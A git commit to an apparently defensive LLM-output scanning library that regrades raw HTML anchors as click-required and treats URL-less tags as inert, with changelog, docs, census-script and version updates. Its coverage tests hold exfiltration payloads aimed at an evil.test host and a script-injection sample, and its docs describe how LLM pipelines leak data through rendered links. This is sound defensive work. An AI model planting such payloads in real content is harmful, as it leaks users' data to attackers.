1
0
Fork 0

feat(active-content): raw HTML graded on carrier, and a tag naming no target is inert

Two changes that had to ship together, because they co-occur.

`active:raw-html-link` (MEDIUM) splits the click-required carriers out of
`active:raw-html`. The same URL was LOW as `[t](url)` and HIGH as
`<a href="url">` — an asymmetry produced by syntax, not by affordance, on a
carrier the markdown path has graded MEDIUM since 0.3.1. The event-handler test
runs first, so `<a onclick=...>` stays HIGH. The url-attribute branch stays HIGH
too: a name outside the active set has unknown rendering, and grading
`<Card src=...>` as a link would be reasoning rather than measurement.

The no-URL narrowing makes `</a>`, `<Frame>`, `<video />` and `<img alt=...>`
without `src` inert — `<base />`'s argument from 0.6.0 applied to the rest of the
name branch. It tests for the URL attribute's PRESENCE, not for a readable value,
so the fail-secure gap `_url_attr_is_external` leaves open is not reopened here.

WHY TOGETHER: the narrowing strips a document's `</a>`/`<Frame>` and what remains
is the `<a href=...>` the split grades down, so each alone leaves the document
blocked by the other's residue.

`active_tag_class` is now the classification point and `is_active_tag` wraps it.
The census patches the former: a boolean could only express a narrowing, never a
regrade, so every carrier candidate would have measured equal to PRODUCTION —
silently, and in the direction that reads as "no change helps".

TWO COSTS, BOTH RECORDED RATHER THAN GLOSSED:

- The split TIGHTENS the trusted tier. One finding becomes two, and >=2 findings
  at MEDIUM+ trip the compound overlay, so a document carrying both an `<img src>`
  and an `<a href>` goes WARN -> quarantine_review on PRESET_TRUSTED_SOURCE. On
  that preset it is the only direction the split can move anything. The census
  now reports a TIGHTENS column on both trust tiers against the previously
  shipped row — "frees N" without "tightens M" is a one-sided number.
- `count` drops on documents containing `</a>`, a published field moving under a
  meaning that did not change.

MEASURED: reference-corpus (389) 54 -> 53 fail_secure, tightens 0/0, and the
census `PRODUCTION` row equals its `C1 + D` candidate row for row. The census
also reproduces 133/3/13/108/25 exactly, so it is calibrated against every
published historical number. The two wiki corpora are NOT yet re-measured; the
tree says so explicitly in the docstring, LIMITATIONS and CHANGELOG rather than
carrying probe numbers as fact.

791 tests (was 759), coverage 129/129, 6/6 documented gaps holding. Version
bumped to 0.7.0 across every surface; no tag is set until the measurement lands.
This commit is contained in:
Kjell Tore Guttormsen 2026-08-12 00:42:44 +02:00
commit fcfaee4589
18 changed files with 544 additions and 99 deletions

View file

@ -10,6 +10,58 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
Nothing yet.
## [0.7.0] — 2026-08-12
### Added — `active:raw-html-link`, a click-required carrier class for raw HTML
Raw HTML graded on activity alone: every active tag was HIGH. So the *same URL*
was LOW as `[t](https://example.com/guide)` and HIGH as
`<a href="https://example.com/guide">` — an asymmetry produced by syntax, not by
affordance. Following an anchor needs a human, exactly like the markdown inline
link that has been MEDIUM since 0.3.1.
`<a>` and `<area>` now report as **`active:raw-html-link` at MEDIUM**. Everything
a renderer fetches or executes unattended keeps `active:raw-html` at HIGH, and the
event-handler test runs *first*, so `<a onclick=...>` is graded as the
execute-class carrier it is rather than downgraded with the anchors.
The URL-attribute branch deliberately stays on the HIGH side: a name outside the
active set has unknown rendering, and `href` is not the only URL attribute it may
carry. Grading `<Card src="...">` as a link would be reasoning, not measurement.
**This is a new label, and labels are a contract surface consumers pin against.**
A document that previously produced one `active:raw-html` finding may now produce
two findings, one per carrier class.
### Changed — a tag whose whole affordance is a URL it does not carry is inert
`</a>`, `<Frame>`, `<video />` and `<img alt="...">` without `src` were active by
*name* while naming no target at all. This is `<base />`'s argument from 0.6.0 —
"attribute-less, therefore no affordance in any renderer" — applied to the rest of
the name branch. The test is for the URL attribute's **presence**, not for a
readable value: a value the parser cannot resolve keeps the tag active, mirroring
the fail-secure gap `_url_attr_is_external` already leaves open.
Every other member of the active name set does something a URL cannot describe —
`<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
active with no attributes at all.
### Changed — `active_tag_class` is the classification point; `is_active_tag` wraps it
`docs/rawhtml-census.py` measures candidates by patching this symbol, and a
boolean could only express a narrowing, never a regrade. Left as a boolean, every
carrier candidate would have measured equal to PRODUCTION — silently, and in the
direction that reads as "no change helps".
### Known behaviour change
**`count` drops on documents containing `</a>`.** Through 0.6.1 an end tag was
active by name, so `count` ran roughly 1.6× the opening-tag total and a start/end
pair counted 2. It is now the opening-tag total. The field's meaning did not
change and the finding count is unaffected — the class still collapses to one
finding per class per document.
## [0.6.1] — 2026-08-11
### Fixed — the zero-width check tested identity, so emoji-composed documents were hard-blocked

View file

@ -11,7 +11,7 @@ framework-agnostisk kode.
Referanse-implementasjon: `claude-code-llm-wiki` Stage B (`tools/wiki_ingest/`).
Lexikon-seed: `injection-patterns.mjs` fra `llm-security`-pluginen.
Repoet er på **v0.6 (alpha)**: stdlib-kjernen er bygget og testet (15 moduler +
Repoet er på **v0.7 (alpha)**: stdlib-kjernen er bygget og testet (15 moduler +
topp-nivå wiring, showcase + korpus), inkl. OKF-adapter og aktivt-innhold-
detektor (EchoLeak-klassen) i output-gaten. Mode-b `import_bundle` skanner
reserverte strukturfiler (`index.md`/`log.md`) i mottatte bundles i stedet for å
@ -19,9 +19,14 @@ path-avvise dem; upload-front-end beholder shadow-reject (`allow_reserved=False`
Output-gatens decode-and-rescan mater dekodet base64-klartekst gjennom BÅDE lexicon
og secret-egress (LLM02), så en base64-innpakket credential fanges som
`decoded:egress:*` i stedet for å forsvinne; hex-innpakket er en dokumentert
restgap (entropy eksponerer kun base64-klartekst). `active:raw-html` krever et
restgap (entropy eksponerer kun base64-klartekst). `active:raw-html` krever et
EKSTERNT mål på URL-attributt-grenen, og `<base>` er ute av det aktive navnesettet;
scanner og mutator har hver sin predikat (`is_active_tag` / `is_defangable_tag`).
Rå HTML graderes nå også på BÆRER: `<a>`/`<area>` er klikk-krevende og rapporteres
som `active:raw-html-link` (MEDIUM), og en tagg hvis hele affordans ER en URL den
ikke bærer (`</a>`, `<Frame>`, `<video />`) er inert. Klassifisering skjer i
`active_tag_class`; `is_active_tag` er en tynn wrapper, og census patcher den
FØRSTE (en boolsk patch kan ikke uttrykke en regradering).
ZWJ (U+200D) dømmes på KONTEKST, ikke identitet — unntas kun mellom to emoji, på
begge flater (`sanitize` eier predikatet, `output` importerer det).
Start med `docs/BRIEF.md` for design, `README.md` for bruk, `docs/PLAN.md` for

View file

@ -2,7 +2,7 @@
Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure.
![Version](https://img.shields.io/badge/version-0.6.1-blue)
![Version](https://img.shields.io/badge/version-0.7.0-blue)
![Status](https://img.shields.io/badge/status-alpha-orange)
![Python](https://img.shields.io/badge/python-3.10%2B-purple)
![License](https://img.shields.io/badge/license-MIT-lightgrey)
@ -33,7 +33,7 @@ at write time, never assumed from the format. Any pipeline ingesting external da
into an agent-read store has this shape; an OKF wiki is its canonical form — which
is why the guard ships a first-class OKF adapter (below).
**Status:** `v0.6`, alpha. The stdlib-only core — its detector, contract, and
**Status:** `v0.7`, alpha. The stdlib-only core — its detector, contract, and
OKF-adapter modules plus the top-level wiring — is built and tested, exercised by
an end-to-end showcase and adversarial + false-positive corpora. The public API
may still change. There are real limitations, stated plainly below; read them.
@ -43,7 +43,7 @@ may still change. There are real limitations, stated plainly below; read them.
Not on PyPI. The guard is distributed from its Forgejo origin — pin a release tag:
```bash
pip install "llm-ingestion-guard @ git+https://git.fromaitochitta.com/open/llm-ingestion-pipeline-security.git@v0.6.1"
pip install "llm-ingestion-guard @ git+https://git.fromaitochitta.com/open/llm-ingestion-pipeline-security.git@v0.7.0"
```
The `open/` mirror is anonymously readable, so CI needs no deploy key, token, or
@ -164,7 +164,7 @@ driven by a **live payload** in the coverage matrix — run it to watch all 134
in your own environment:
```bash
python -m llm_ingestion_guard.coverage # 128/128 classes; exit 0 = all as documented
python -m llm_ingestion_guard.coverage # 129/129 classes; exit 0 = all as documented
```
| Anchor | Attack classes it stops (representative) |
@ -246,7 +246,7 @@ a green scan means safe content. The highest-impact items:
two of the three corpora are living, so the cells are not rewritten in place.
Method and before/after: [`docs/rawhtml-census.py`](docs/rawhtml-census.py).
**Full list — 34 items, each with the mechanism, plus the out-of-scope boundary:**
**Full list — 35 items, each with the mechanism, plus the out-of-scope boundary:**
[`docs/LIMITATIONS.md`](docs/LIMITATIONS.md). Several carry field measurements from
consumer corpora, including the false positives the URL-shape rule actually produces.

View file

@ -6,7 +6,7 @@ downstream corpus. Reports are welcome.
## Supported versions
The project is pre-1.0 (`0.6.x`, alpha). Only the latest published version receives
The project is pre-1.0 (`0.7.x`, alpha). Only the latest published version receives
fixes; there are no back-ported security branches yet. Pin a version and watch the
`CHANGELOG.md` `### Security` entries.

View file

@ -4,7 +4,7 @@
especially one converging on Google's Open Knowledge Format (OKF v0.1) — and needs
to decide **when** and **where** to add a write-time ingestion guard.
**Status of the guard:** `v0.6.1` (alpha). Stdlib-only core, framework-agnostic.
**Status of the guard:** `v0.7.0` (alpha). Stdlib-only core, framework-agnostic.
Public API may still change. Read the known-limitations section before you rely
on it.
@ -140,9 +140,9 @@ live payload:
python -m llm_ingestion_guard.coverage # exit 0 = all as documented
```
As of `v0.6.1`: **128 / 128 defended classes demonstrated (recall 100%)** and **6 /
As of `v0.7.0`: **129 / 129 defended classes demonstrated (recall 100%)** and **6 /
6 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
update). The matrix is the single source of truth for the test suite (**736
update). The matrix is the single source of truth for the test suite (**791
passing**), which also asserts total recall, that every lexicon pattern has a
case (so the matrix cannot fall behind the lexicon), the full LLM02 secret-egress
set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb,

View file

@ -3,7 +3,7 @@
**A reusable, minimal, dependency-light defensive layer for LLM *ingestion*
pipelines — the write-time siblings of query-time chatbot guardrails.**
Status: implemented — v0.6 (alpha). This document defines what the repo contains
Status: implemented — v0.7 (alpha). This document defines what the repo contains
and why; the stdlib-only core is built and tested (see `README.md` for usage and
`docs/PLAN.md` for the build order).

View file

@ -264,11 +264,28 @@ items; this is the full list, each with the mechanism.
no test discriminated the two halves. They are now `is_active_tag` and
`is_defangable_tag`; the mutator kept the broader behaviour deliberately, pinned by
`tests/test_neutralize.py::test_mutator_still_defangs_what_the_scanner_now_lets_pass`.
- **Raw-HTML findings count end tags.** `</a>` is active by name on its own, so a
corpus census that counts only opening tags understates what this detector reports
by roughly the ratio of closing to opening active tags (measured at 1.6× on one
corpus). Severity and finding count are unaffected — the class collapses to one
finding — but the `count` field is not a document count.
- **The carrier split TIGHTENS the trusted tier when both carrier classes are present.**
0.7.0 is sold as a loosening of the upload door, and on that door it is one. But
splitting one class into two means a document carrying both an `<img src>` and an
`<a href>` now emits *two* findings at MEDIUM+ where it emitted one, which trips
the compound overlay (`>=2 findings at MEDIUM+ -> escalated one tier`). Such a
document was WARN through 0.6.1 and is `quarantine_review` from 0.7.0 under
`PRESET_TRUSTED_SOURCE`. On the trusted preset nothing was hard-failed to begin
with, so this is the *only* direction the split can move it. Pinned by
`tests/test_wiring.py::test_split_tightens_the_trusted_tier_when_both_carriers_are_present`,
and `docs/rawhtml-census.py` now reports a `TIGHTENS` column against the
previously-shipped row on both trust tiers — "frees N" without "tightens M" is a
one-sided number. **Measured so far: 0 documents tightened on reference-corpus
(389). The two wiki corpora are NOT yet re-measured; until they are, the size of
this cost is unknown, not zero.**
- **Raw-HTML findings no longer count end tags, and that moved a published field.**
Through 0.6.1 `</a>` was active by name on its own, so `count` ran roughly 1.6×
the opening-tag total (measured on one corpus) and a start/end pair counted 2.
0.7.0's no-URL narrowing makes an end tag inert — it names no target — so `count`
is now the opening-tag total. A consumer reading `count` will see it *drop* for
every document carrying `</a>`, on a field whose meaning did not change. The
finding count is unaffected: the class still collapses to one finding per class
per document, and `count` was never a document count.
- **Measured, document by document: a large minority of *benign* documents do not
persist unattended at the upload door.** The bullets above bound single rules on
single URLs. This one bounds the thing a consumer actually feels — how often an

View file

@ -1,4 +1,4 @@
"""raw-HTML census — which branch of `is_active_tag` fires, and what narrowing it costs.
"""raw-HTML census — which branch of `active_tag_class` fires, and what a change costs.
`docs/fp-sweep.py` answers *how often* the upload door costs a human. This answers
*why*, for the one detector that drives most of it, and *what a proposed narrowing
@ -22,11 +22,17 @@ TWO METHOD TRAPS IT EXISTS TO AVOID:
effect with corpus drift. Every candidate here runs against the same corpus state
in one process, and `base` is re-measured rather than quoted from the doc.
The candidates are applied by replacing `active_content.is_active_tag` in-process,
which mirrors a real edit to the *scanner*. Since 0.6.0 that is the whole story:
`neutralize` calls its own `is_defangable_tag`, so patching this symbol cannot
move the mutator. Before 0.6.0 the two shared one symbol and this caveat read the
other way. See the raw-HTML bullets in `docs/LIMITATIONS.md`.
The candidates are applied by replacing `active_content.active_tag_class`
in-process, which mirrors a real edit to the *scanner*. Since 0.6.0 that is the
whole story: `neutralize` calls its own `is_defangable_tag`, so patching this
symbol cannot move the mutator. Before 0.6.0 the two shared one symbol and this
caveat read the other way. See the raw-HTML bullets in `docs/LIMITATIONS.md`.
The patch point was `is_active_tag` through 0.6.1, when a candidate could only
answer yes/no. 0.7.0 grades raw HTML on carrier as well, so a candidate returns a
CLASS and `is_active_tag` became a thin wrapper. A boolean patch point would have
left every regrade candidate equal to PRODUCTION silently, and in the direction
that reads as "no change helps".
The `PRODUCTION` row is the only one that is not a hypothetical: it leaves the
shipped predicate in place. A shipped narrowing must equal its candidate row, and
@ -47,11 +53,22 @@ from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "src"))
from llm_ingestion_guard import ( # noqa: E402
PRESET_USER_UPLOAD, Disposition, screen_output,
PRESET_TRUSTED_SOURCE, PRESET_USER_UPLOAD, Disposition, guard, scan_output,
)
from llm_ingestion_guard import active_content as ac # noqa: E402
BENIGN = Disposition.WARN
BLOCKED = Disposition.FAIL_SECURE
# Both trust tiers, because a change can move them in OPPOSITE directions: the
# carrier split loosens the upload door (HIGH -> MEDIUM is fail_secure ->
# quarantine_review) while tightening the trusted one (one finding becomes two,
# and >=2 findings at MEDIUM+ trip the compound overlay). A single-preset census
# would have reported only the half that flattered the change.
PRESETS = {"upload": PRESET_USER_UPLOAD, "trusted": PRESET_TRUSTED_SOURCE}
# Disposition severity order, for "did this document get strictly worse?".
_TIER = {Disposition.WARN: 0, Disposition.QUARANTINE_REVIEW: 1, Disposition.FAIL_SECURE: 2}
# The row a release is judged against: what consumers are running today.
_SHIPPED_BEFORE_ROW = "A + base-url (0.6.0)"
def has_external_url_attr(attrs: str) -> bool:
"""True if any URL-bearing attribute points at an attacker-reachable target.
@ -68,20 +85,41 @@ def has_external_url_attr(attrs: str) -> bool:
return ac._url_attr_is_external(attrs)
def _variant(*, drop: frozenset[str] = frozenset(), external_only: bool = False):
"""Build an `is_active_tag` replacement: names minus ``drop``, URL branch gated."""
def _variant(*, drop: frozenset[str] = frozenset(), external_only: bool = False,
carrier_split: bool = False, no_url: bool = False):
"""Build an `active_tag_class` replacement.
Candidates return the tag's CLASS (``"raw-html"`` / ``"raw-html-link"``) or
``None``, because since 0.7.0 the raw-HTML pass grades on carrier as well as
activity, and a boolean could not express a regrade. ``drop`` removes names
from the active set, ``external_only`` gates the URL branch, ``carrier_split``
moves the click-required carriers to the link class, and ``no_url`` makes a
URL-affordance tag carrying no URL attribute inert.
"""
keep = frozenset(ac._ACTIVE_TAGS - drop)
def is_active_tag(name: str, attrs: str) -> bool:
if name.lower() in keep or ac._EVENT_ATTR_RE.search(attrs):
return True
if not ac._URL_ATTR_RE.search(attrs):
return False
return has_external_url_attr(attrs) if external_only else True
def active_tag_class(name: str, attrs: str):
lowered = name.lower()
if ac._EVENT_ATTR_RE.search(attrs):
return "raw-html"
has_url_attr = bool(ac._URL_ATTR_RE.search(attrs))
if lowered in keep:
if no_url and lowered in ac._URL_AFFORDANCE_TAGS and not has_url_attr:
return None
if carrier_split and lowered in ac._LINK_TAGS:
return "raw-html-link"
return "raw-html"
if not has_url_attr:
return None
if external_only and not has_external_url_attr(attrs):
return None
return "raw-html"
return is_active_tag
return active_tag_class
_INERT = None
CANDIDATES = [
("pre-0.6.0 (no narrowing)", _variant()),
# The URL-attribute branch requires an EXTERNAL target — the rule the markdown
@ -91,14 +129,28 @@ CANDIDATES = [
# which the URL-attribute branch still catches; APIM policy XML's `<base />` is
# attribute-less and has no affordance in any renderer.
("base-url: <base> needs a URL", _variant(drop=frozenset({"base"}))),
("A + base-url (both)",
("A + base-url (0.6.0)",
_variant(drop=frozenset({"base"}), external_only=True)),
# Not a hypothetical: the shipped predicate, unpatched. `A + base-url` is what
# 0.6.0 shipped, so these two rows must agree — a mismatch means the code and
# this script have drifted apart and every number below is suspect.
# 0.7.0's pair. C1 REGRADES (a click-required carrier is MEDIUM, not HIGH);
# D NARROWS (a tag whose whole affordance is a URL it does not carry is
# inert). They are listed alone as well as together because they co-occur
# hard: D strips a document's `</a>` and `<Frame>`, and what is left is the
# `<a href=...>` C1 grades down, so each alone leaves the document blocked by
# the other's residue. Reading either single row as "this change is cheap" is
# the trap this script exists to prevent.
("C1: carrier split (alone)",
_variant(drop=frozenset({"base"}), external_only=True, carrier_split=True)),
("D: no-URL narrowing (alone)",
_variant(drop=frozenset({"base"}), external_only=True, no_url=True)),
("C1 + D (0.7.0)",
_variant(drop=frozenset({"base"}), external_only=True,
carrier_split=True, no_url=True)),
# Not a hypothetical: the shipped predicate, unpatched. `C1 + D` is what 0.7.0
# ships, so these two rows must agree — a mismatch means the code and this
# script have drifted apart and every number below is suspect.
("PRODUCTION (as shipped)", None),
# The CEILING: no narrowing can free more than switching the detector off.
("NONE (ceiling)", lambda name, attrs: False),
("NONE (ceiling)", lambda name, attrs: _INERT),
]
@ -162,7 +214,7 @@ def main() -> None:
print(__doc__)
raise SystemExit(2)
original = ac.is_active_tag
original = ac.active_tag_class
try:
for spec in specs:
if "=" not in spec:
@ -177,27 +229,78 @@ def main() -> None:
n = len(texts)
print(f"\n## {label}{n} documents", flush=True)
baseline = None
base_nonwarn = base_block = None
shipped_before: dict[str, list] = {}
for name, fn in CANDIDATES:
ac.is_active_tag = original if fn is None else fn
non_warn = sum(
1 for t in texts
if screen_output(t, PRESET_USER_UPLOAD).disposition is not BENIGN
)
if baseline is None:
baseline = non_warn
print(f" {name:>28}: {non_warn:4d} ({non_warn / n:5.1%})", flush=True)
else:
print(f" {name:>28}: {non_warn:4d} ({non_warn / n:5.1%})"
f" frees {baseline - non_warn}", flush=True)
ac.is_active_tag = original
ac.active_tag_class = original if fn is None else fn
# `screen_output(t, policy)` IS `guard(lambda: scan_output(t),
# policy)`. Decomposed by exactly one step here so the scan — the
# expensive part, and identical across trust tiers — runs once per
# document instead of once per tier. Disposition still goes through
# the shipped `guard`, so the fail-closed wrapper is not skipped.
per_preset = {tier: [] for tier in PRESETS}
for t in texts:
try:
report = scan_output(t)
except Exception: # noqa: BLE001 — hand it back to `guard`
report = None
for tier, policy in PRESETS.items():
scan_fn = (lambda: scan_output(t)) if report is None \
else (lambda report=report: report)
per_preset[tier].append(guard(scan_fn, policy).disposition)
dispositions = per_preset["upload"]
non_warn = sum(1 for d in dispositions if d is not BENIGN)
# BOTH metrics, because they answer different questions and a
# REGRADE is invisible to the first one. A narrowing removes the
# finding, so a document can reach WARN; a carrier split only
# lowers the severity, so the document stays non-WARN and merely
# stops being hard-failed. Reporting only `non_warn` would have
# printed "frees 0" for every carrier candidate and read as
# "the split buys nothing" when it converts a hard block into a
# human review — the difference a consumer actually feels.
blocked = sum(1 for d in dispositions if d is BLOCKED)
# Tightening is measured against the row consumers are RUNNING,
# not against the pre-0.6.0 baseline the `frees` column subtracts
# from. "Did this release make anything worse for someone on the
# current version" is a different question from "how much of the
# original over-reach is left", and only the first one belongs in
# a release note.
if name == _SHIPPED_BEFORE_ROW:
shipped_before = per_preset
if base_nonwarn is None:
base_nonwarn, base_block = non_warn, blocked
print(f" {name:>28}: non-WARN {non_warn:4d} ({non_warn / n:5.1%})"
f" fail_secure {blocked:4d}", flush=True)
continue
# A candidate is not free just because it frees documents. Splitting
# one finding into two puts TWO findings at MEDIUM+ in a document
# that had one, which trips the compound overlay — so a change sold
# as a loosening can TIGHTEN a document one tier, and on the trusted
# preset (where nothing was hard-failed to begin with) that is the
# only direction it can move. Reporting `unblocks` without `tightens`
# is a one-sided number.
row = (f" {name:>28}: non-WARN {non_warn:4d} ({non_warn / n:5.1%})"
f" fail_secure {blocked:4d}"
f" frees {base_nonwarn - non_warn:3d} / unblocks "
f"{base_block - blocked:3d}")
if shipped_before:
tightened = {
tier: sum(1 for before, after
in zip(shipped_before[tier], per_preset[tier])
if _TIER[after] > _TIER[before])
for tier in PRESETS
}
row += (f" TIGHTENS vs 0.6.0: upload {tightened['upload']:3d}"
f" trusted {tightened['trusted']:3d}")
print(row, flush=True)
ac.active_tag_class = original
names, relative, external = branch_census(texts)
print(f" name branch : {dict(names.most_common(8))}")
print(f" url-attr relative: {dict(relative.most_common(8))} <- A frees these")
print(f" url-attr external: {dict(external.most_common(8))} <- A keeps these")
finally:
ac.is_active_tag = original
ac.active_tag_class = original
print("\n---")
print("Candidates are measured TOGETHER as well as alone: over-reach classes\n"

View file

@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "llm-ingestion-guard"
version = "0.6.1"
version = "0.7.0"
description = "Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure."
readme = "README.md"
requires-python = ">=3.10"

View file

@ -63,7 +63,7 @@ from .grounding import (
)
from . import okf
__version__ = "0.6.1"
__version__ = "0.7.0"
# --- §6 bookends: the two library-side halves around the transform ---------

View file

@ -40,6 +40,38 @@ XML has no affordance in any renderer. Measured together rather than one at a ti
reference corpus and 2 each on the two wiki corpora, at unchanged recall. Method
and numbers: ``docs/rawhtml-census.py``; residuals: ``docs/LIMITATIONS.md``.
**Raw HTML grades on carrier too, and a tag that names no target is inert**
(0.7.0). Two changes that had to ship together, because they co-occur:
* the *carrier split* ``<a>``/``<area>`` are click-required, so they report as
``active:raw-html-link`` at MEDIUM, the grade the markdown inline link has
carried since 0.3.1. Until 0.6.1 the same URL was LOW as ``[t](url)`` and HIGH
as ``<a href="url">``: an asymmetry produced by syntax, not by affordance.
* the *no-URL narrowing* a tag whose entire affordance IS the URL it names
(``_URL_AFFORDANCE_TAGS``), carrying no URL attribute at all, has no affordance
in any renderer. This is ``<base />``'s argument from 0.6.0 applied to the rest
of the name branch, and it frees ``</a>``, ``<Frame>``, ``<video />`` and
``<img alt=...>`` without ``src``.
They had to ship together because they co-occur: the narrowing strips a document's
``</a>``/``<Frame>``, and what remains is the ``<a href=...>`` the split grades
down, so each change alone leaves the document blocked by the other's residue. The
split never lets a document reach WARN it converts a hard block into a human
review, which is the difference a consumer actually feels and the reason the census
reports ``fail_secure`` alongside non-WARN.
**Measured, on reference-corpus (389 documents) at one corpus state:** 54
``fail_secure`` under ``PRESET_USER_UPLOAD`` before, 53 after; the pair unblocks 1,
and tightens 0 on both trust tiers. That corpus was already emptied of raw-HTML
drivers by the 0.6.0 narrowing, so it bounds the change rather than showing its
value. **The two wiki corpora, where the volume is, are NOT yet re-measured through
the census see ``docs/LIMITATIONS.md`` for what is and is not measured.**
The URL-attribute branch deliberately stays on the HIGH side of the split. A name
outside the active set has unknown rendering and ``href`` is not the only URL
attribute it may carry; grading ``<Card src="...">`` as a link would be reasoning,
not measurement.
**Severity grades on URL shape, not construct type** (0.3.1). The exfiltration
primitive is not "an image" it is a URL that moves bytes to a host the
attacker controls. ``![diagram](https://example.com/arch.png)`` carries nothing
@ -49,8 +81,12 @@ document with one remote image fail-secured). :func:`is_ordinary_url` separates
the two axes: a URL that only *names* a remote document is
``ACTIVE_CONTENT_ORDINARY_SEVERITY``; anything that can carry a value
a query, userinfo, percent-escapes, or an opaque host label / path segment
keeps the carrier's full severity. ``raw-html`` and ``data:`` URIs have no
ordinary form and stay HIGH unconditionally: they are active whatever the URL.
keeps the carrier's full severity. The raw-HTML classes and ``data:`` URIs have no
ordinary form and keep their carrier's severity unconditionally — HIGH for
``raw-html``, MEDIUM for ``raw-html-link``: they are active whatever the URL, and
an event handler needs no URL at all. Applying ``is_ordinary_url`` to raw tags was
considered and rejected: real vendor-doc image URLs are largely not ordinary, so it
buys little, and it would add a third tier to a class nobody asked to have three.
The opacity test reuses ``entropy``'s primitives rather than inventing a second
heuristic, and it is a *backstop*, not the main line of defence: a literal
@ -200,6 +236,21 @@ _ACTIVE_TAGS = frozenset({
# URL-attribute branch still catches; `<base />` without one is inert. The mutator
# keeps the full set — see the module docstring.
_SCANNER_ACTIVE_TAGS = _ACTIVE_TAGS - {"base"}
# Tags whose entire active affordance IS the URL they name. Carrying no URL
# attribute at all, they name no target, so no renderer can fetch or follow them
# — `<base />`'s argument (0.6.0) applied to the rest of the name branch. The
# shapes this frees, observed inside vendor-harvest's fail_secure documents:
# `</a>`, `<Frame>`/`</Frame>`, `<video />`, and `<img alt=...>` with no `src` —
# end tags and MDX wrapper components dominate.
# Everything else in the name set does something a URL cannot describe —
# `<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
# active with no attributes at all.
_URL_AFFORDANCE_TAGS = frozenset({
"a", "area", "img", "video", "audio", "source", "track", "frame", "frameset",
})
# Click-required carriers: following one needs a human, exactly like a markdown
# inline link. Everything else the renderer fetches or executes unattended.
_LINK_TAGS = frozenset({"a", "area"})
# `_URL_ATTR_RE` above is a presence test and deliberately captures no value.
# Reading the value needs the same literal alternation with the value attached, so
@ -236,12 +287,42 @@ def _url_attr_is_external(attrs: str) -> bool:
return not seen
def active_tag_class(name: str, attrs: str) -> str | None:
"""The active-content class a raw tag belongs to, or ``None`` if it is inert.
``"raw-html-link"`` is the click-required carrier class; ``"raw-html"`` is
everything the renderer acts on unattended. The event-handler test runs
FIRST, before the name test, so an ``<a onclick=...>`` is graded as the
execute-class carrier it is rather than downgraded with the anchors.
"""
lowered = name.lower()
if _EVENT_ATTR_RE.search(attrs):
return "raw-html"
# Presence, not a readable value: a URL attribute whose value this module
# cannot resolve must keep the tag active, mirroring `_url_attr_is_external`'s
# fail-secure gap. The corpora carry 0 of these today — empirical, not
# structural, so the predicate must not depend on that holding.
has_url_attr = bool(_URL_ATTR_RE.search(attrs))
if lowered in _SCANNER_ACTIVE_TAGS:
if lowered in _URL_AFFORDANCE_TAGS and not has_url_attr:
return None
return "raw-html-link" if lowered in _LINK_TAGS else "raw-html"
# A name outside the active set is active only through its URL attribute, and
# stays on the HIGH side: its rendering is unknown and `href` is not the only
# URL attribute it may carry. Measured cost of that conservatism: one
# document per wiki corpus.
if has_url_attr and _url_attr_is_external(attrs):
return "raw-html"
return None
def is_active_tag(name: str, attrs: str) -> bool:
"""True if a tag is active for the SCANNER: executing element, event handler,
or a URL attribute pointing at an external target."""
if name.lower() in _SCANNER_ACTIVE_TAGS or _EVENT_ATTR_RE.search(attrs):
return True
return bool(_URL_ATTR_RE.search(attrs)) and _url_attr_is_external(attrs)
"""True if a tag is active for the SCANNER, in either carrier class.
Kept as a separate symbol because ``docs/rawhtml-census.py`` patches it to
measure a candidate predicate, and consumers import it by name.
"""
return active_tag_class(name, attrs) is not None
def is_defangable_tag(name: str, attrs: str) -> bool:
@ -416,18 +497,24 @@ def scan_active_content(
_flag("autolink", autos)
# Raw HTML is active whatever its URL looks like (an event handler needs no
# URL at all), so every tag is flagged as carrying — no ordinary form.
html: list[tuple[str, bool]] = []
# URL at all), so every tag is flagged as carrying — no ordinary form. The
# two carrier classes are collected separately: a document holding both a
# `<script>` and an `<a href>` must not lose the anchor behind the script,
# nor grade the script down to the anchor's severity.
html: dict[str, list[tuple[str, bool]]] = {"raw-html": [], "raw-html-link": []}
def _tag(m: re.Match[str]) -> str:
if not is_active_tag(m.group("name"), m.group("attrs") or ""):
cls = active_tag_class(m.group("name"), m.group("attrs") or "")
if cls is None:
return m.group(0)
html.append((URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
html[cls].append(
(URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
return " " * len(m.group(0))
masked = HTML_TAG_RE.sub(_tag, masked)
if html:
_flag("raw-html", html)
for cls in ("raw-html", "raw-html-link"):
if html[cls]:
_flag(cls, html[cls])
# A `data:` URI carries its own payload; `is_ordinary_url` rejects the scheme
# outright, so this stays HIGH through the same path as the rest.

View file

@ -129,6 +129,11 @@ ACTIVE_CONTENT_SEVERITY = {
"reference-link": Severity.MEDIUM,
"autolink": Severity.MEDIUM,
"raw-html": Severity.HIGH,
# The raw-HTML carrier split (0.7.0). Until 0.6.1 every active tag was HIGH,
# so the same URL was MEDIUM as `[t](url)` and HIGH as `<a href="url">` — an
# asymmetry that came from syntax rather than affordance. Following an anchor
# needs a human, so it grades with the other click-required carriers.
"raw-html-link": Severity.MEDIUM,
"data-uri": Severity.HIGH,
}

View file

@ -485,6 +485,12 @@ def _build_cases() -> list[Case]:
f"![chart](https://evil.test/{_B64_INJECTION}/p.png)", owasp="LLM05"),
_scan_case("active", "raw active HTML", "active:raw-html",
"<script>steal()</script>", owasp="LLM05"),
# The carrier split (0.7.0): a raw anchor is click-required, so it grades
# with the markdown link rather than with the zero-click carriers. It is
# its own class, and recall for it is demonstrated separately — a label a
# consumer can pin needs a row here, or 128/128 would silently exclude it.
_scan_case("active", "raw HTML anchor (click-required)", "active:raw-html-link",
'<a href="https://evil.test/collect?d=stolen">t</a>', owasp="LLM05"),
_scan_case("active", "standalone data: URI in prose", "active:data-uri",
"payload data:text/html;base64,PHN2Zz4= end", owasp="LLM05"),
_predicate_case("active", "ordinary document is NOT over-blocked", "warn",

View file

@ -267,16 +267,111 @@ def test_default_source_is_output_and_override_respected():
